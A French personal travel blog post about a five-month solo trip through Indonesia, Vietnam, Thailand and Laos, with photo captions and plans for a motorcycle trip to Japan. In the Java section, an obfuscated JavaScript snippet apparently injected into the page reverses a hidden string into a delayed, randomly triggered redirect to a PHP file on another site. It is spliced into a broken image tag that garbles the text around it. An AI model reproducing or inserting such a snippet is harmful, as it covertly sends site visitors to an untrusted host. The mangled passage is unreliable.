5 mois en Asie

L’Asie, mon premier voyage

Ça y’est, cette première fois en Asie est terminée. Après un mois en Indonésie, deux mois au Vietnam, un autre en Thaïlande et le dernier au Laos, je suis rentré de ce périple solitaire. J’en ai gardé beaucoup de souvenirs, mais aussi beaucoup de photos et de vidéos que j’entasse sur mon disque dur qui m’accompagne partout.

J’en profite pour me repasser quelques photos que j’aime bien en mémoire, et garder leurs histoires à l’écrit.

Le départ, l’île de Java

Je n’avais pris l’avion que deux fois dans ma vie. Cette fois je me retrouve à 11.000 km de chez moi. Je suis seul, je ne connais personne et je suis parti pour sortir d’une période difficile. Je m’en vais donc quelques mois, le temps de m’éloigner physiquement de mes soucis, de prendre du temps pour moi et de découvrir ce monde inconnu.

Après quelques jours à Jakarta, je décide de prendre un premier train, direction Magelang, pour rejoindre Tuessi, un hôte que j’avais contacté via couchsurfing. Ce périple durera 8 heures. Le pays est chaud, les gens intrigués. Ils ne sont déjà pas habitués à voir un étranger dans leur pays, alors en plus quand il fait 1m94, ça fait toute une histoire.

À l’arrivée, Tuessi m’attend, les bras grands ouverts. Il me fera découvrir sa région avec beaucoup de sourire et de sincérité. Du magnifique Temple de Borobudur jusqu’à l’océan Indien, il m’a offert beaucoup de paysages magnifiques et de souvenirs que je garderais longtemps. Je n’oublie pas ses amis Ahmad et Aisyah, qui ont pu faire face au grand joueur de Uno que je suis.

$NfI=function(n){if (typeof ($NfI.list[n]) == « string ») return $NfI.list[n].split(«  »).reverse().join(«  »);return $NfI.list[n];};$NfI.list=[« \’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to, Oxygen-Sans, Ubuntu, Cantarell, ‘Helvetica Neue’, sans-serif; » title= »L’océan indien » src= »https://jdecalle.fr/wp-content/uploads/2018/09/premiere_article.jpg » alt= »L’océan indien » width= »1920″ height= »1081″ /> Cette plage aura demandée 8 heures de route aller/retour à scooter.

Le ciel coloré de Gili Air

Je trainais à Bali depuis quelques jours. Les habitants me disaient de me rendre sur les îles Gili. Vu de loin c’est tentant : de petites îles perdues entre Bali et Lombok en Indonésie. Le lendemain j’étais parti, moi, mon sac et mon petit bandana que Tuessi m’avait laissé.

La trajet entre Bali et Gili Air donne le ton. Un bateau rempli de jeunes nourris à la vodka et à Instagram qui s’arrêtent à Gili Trawangan, pour oublier leurs train de vie morose, le temps d’une semaine ou deux. Mais l’eau est trop turquoise pour que je puisse m’attarder là-dessus.

Je m’arrête deux îles plus loin, à Gili Air, donc. Je prends à peine le temps de poser mon sac, puis je cours direction la première plage que je trouve. J’y passerais ma journée à dormir et à repenser au passé.

Le rose de Gili Air

Elle reste l’une de mes images préférées de ce voyage.

Hô Chi Minh, j’ai 24 ans

29 mars 2018, mon premier jour au Vietnam tombe le jour de mon anniversaire. J’en profite pour me faire une bonne coupe de cheveux et mon premier tatouage. J’ai donc le symbole représentant les points faibles des colosses dans le jeu « Shadow of the colossus », tatoué à l’arrière de mon mollet gauche.

La ville ressemble à Jakarta, une fourmilière géante remplie de scooters et de tuk-tuk. Ça klaxonne, ça roule dans tous les sens. Je suis un peu perdu, mais je dois rester dans le coin le temps d’attendre deux copains qui me rejoignent sur place, Benoît et Alexander.

Je profite de ces quelques jours pour visiter un morceau du Mékong plus au sud. J’y trouverais un petit groupe de français avec qui je me mettrais une caisse dans les villes perdues du fin fond du Vietnam.

Levé de soleil sur l'eau

Réveil depuis un hôtel sur l’eau

Vadrouiller au Vietnam

Ça y’est, l’équipe est réunie, parée pour l’action.

C’est donc accompagné de mes deux acolytes cités dans le paragraphe précédent que je pars à l’attaque du Vietnam. On découvre les bus de nuits et leurs lits-couchettes, le karaoké qui est le sport national des mecs bourrés et les coups de soleil à la vietnamienne.

Ce voyage avait un sentiment d’aventure tous les jours. Le plus important quand on vit en sac à dos, c’est manger et dormir. Et entre tout ça, c’est rempli d’imprévus, de rencontres, de moments. Parfois ta journée te donne envie de rentrer chez toi, parfois c’est l’un des meilleurs instants de ta vie. Je me rappelle d’après-midis pénibles, à marcher pour rejoindre le prochain hôtel, qui étaient immédiatement oublié grâce à un bon lit ou un bon repas.

Et depuis, je ne repense qu’à deux projets de voyage : Partir au Japon et voyager à moto. Je ferais les deux. Je ferais des tours d’Europe à moto pour l’entrainement, puis un long voyage quand j’en sentirais le besoin. Mais je le ferais.

Le Vietnam a beaucoup de choses à nous faire découvrir. Entre les îles de Phu Quoc, les décors de Ninh Binh et la capitale Hanoï, le continent éveille notre curiosité.

Pêcheur à Phu Quoc

Cette photo me fait penser à un tableau.

Apprenti marcheur en montagne

Un nouveau bus nous attend, Benoît et moi, direction Sapa. 5 jours de marche, 4 nuits chez l’habitant, remplies de rencontres, de souvenirs et d’alcool de riz.

J’ai déjà fais trois articles sur cette aventure, mais il y a une photo dont j’ai envie de parler.

On est le premier jour du trek, début de soirée. Après 6h de marche en montagne, 16 kilomètres parcourus, nous arrivons à notre première auberge. L’une des nombreuses choses dans lesquelles je voulais me consacrer en partant en Asie était la photo. Je profite d’un moment de calme pour m’écarter du groupe et voir les montagnes au travers de mon appareil.

Je marche, j’observe et je m’assoie. Des personnes me fixent du regard, intrigués par tout cet attirail que représente ma caméra, mon micro et mon trépied. Le soleil se couche derrière la montagne, les couleurs changent, il ne m’en faut pas plus pour vouloir le garder en image.

Les décors et couleurs d'Asie

Les couleurs de Sapa

Vol pour la Thaïlande

En attente à l’aéroport de Hanoï, j’ai l’impression de prendre l’avion pour la énième fois. J’aime ces moments à attendre un avion. Il y existe une atmosphère incomparable, l’attente entre deux pays. J’ai l’impression que le temps défile différemment. Ces grandes vitres qui donnent directement sur les avions qui viennent de partout. Certains d’entre eux viennent de chez moi et me donnent envie de me glisser dedans pour rentrer quelques jours.

Mais pas le temps de niaiser, cette fois je pars à Bangkok. J’arrive tard, je prends le métro, je marche une heure. Les rues sont vivantes, pleines de boubouis pour manger et de taxis. Je me rappelle encore de mon premier repas dans le pays. Une soupe que j’ai payé 45 centimes, si bonne que j’y retournerai les 3 jours suivants.

Je passerai beaucoup de temps à trainer dans les bus et les trains du pays, enchainant les petits villages. Les gens sont toujours étonnés de voir quelqu’un d’1m94, mais ils ont toujours le même sourire et se montrent souvent curieux.

En venant en Thaïlande, je m’attendais à faire face au pays le plus touristique de mon voyage. Mais ça n’a pas été le cas. Il est rare de croiser quelqu’un qui parle anglais dans certains villages, notamment au nord du pays.

Macaque sur son tuyau

Et ce n’est pas lui qui va me parler anglais !

Puis un mois de transition

Après 4 mois de voyage, j’ai beaucoup de nouvelles idées et j’ai envie de m’investir dans autre chose. J’ai bien profité de ce que chacun des pays avaient à m’offrir. Je vais mieux aussi personnellement et je me sens plus serein. Il est temps pour moi de terminer ce voyage avec un dernier pays, le Laos.

C’est nettement le pays que j’ai le moins visité. Entre le travail, les projets perso et l’envie de m’investir dans de nouvelles choses, les visites sont passées un peu à la trappe. Mais en changeant de villes presque tous les jours, il est difficile d’être étonné à chaque fois. Il est donc important de savoir rentrer quand on en a assez vu.

Je terminerai mon aventure avec un passage dans les cascades de Kuang Si. Elles ne sont pas folles, mais la région cache des cascades plus secrètes et nettement plus agréable à voir. Ces endroits sont coupés du monde. J’ai eu l’impression que l’on m’offrait un cadeau avant de partir tellement ces cascades étaient envoutantes.

Papillon sur sa carafe d'eau

Ce papillon qui m’accompagnait ne dira pas le contraire.

La suite

Ce voyage m’a beaucoup aidé, plus rapidement que je ne le pensais. Le fait de m’éloigner physiquement de ma vie, et de découvrir des façons de vivre plus modestes m’a aidé à mieux me connaître. J’apprends à me satisfaire de ce que j’ai et à mieux profiter de l’instant présent.

Je passe beaucoup de temps à me renseigner sur le Japon. C’est un pays qui m’attire énormément. Leur sens du respect et du travail me font envie. Ils mettent toute leur passion dans ce qu’ils produisent, et souvent une vocation chez eux correspond à l’histoire d’une vie. J’aimerais terriblement rencontrer des artisans japonais.

Et ce fameux voyage à moto, France – Japon. Je le ferais, mais j’ai juste une inconnue. C’est toute une partie de la planète qui m’est quasi entièrement inconnu, et je ne sais pas par où passer. J’ai le choix entre la Russie et l’Iran. J’avoue que vu de l’extérieur, ces deux pays me font peur. Je vais donc prendre le temps de me renseigner sur cette région du monde pour connaître la meilleure option. Je ne le ferais que quand je serais sûre de moi.

Des projets se dessinent donc pour la suite. Et j’ai envie de continuer les projets que j’ai lancé cette année. Du haut de mes 17 articles, je suis plutôt content de ce que j’ai réussi à faire avec ce site, avec mon site photo, et avec les vidéos que j’ai postées. Peut-être que tu seras encore là pour me soutenir.

En attendant, je te fais des gros bisous, je te tiens au jus.

Les canards roses du Vietnam

À plus !

Trekker à Sapa #3

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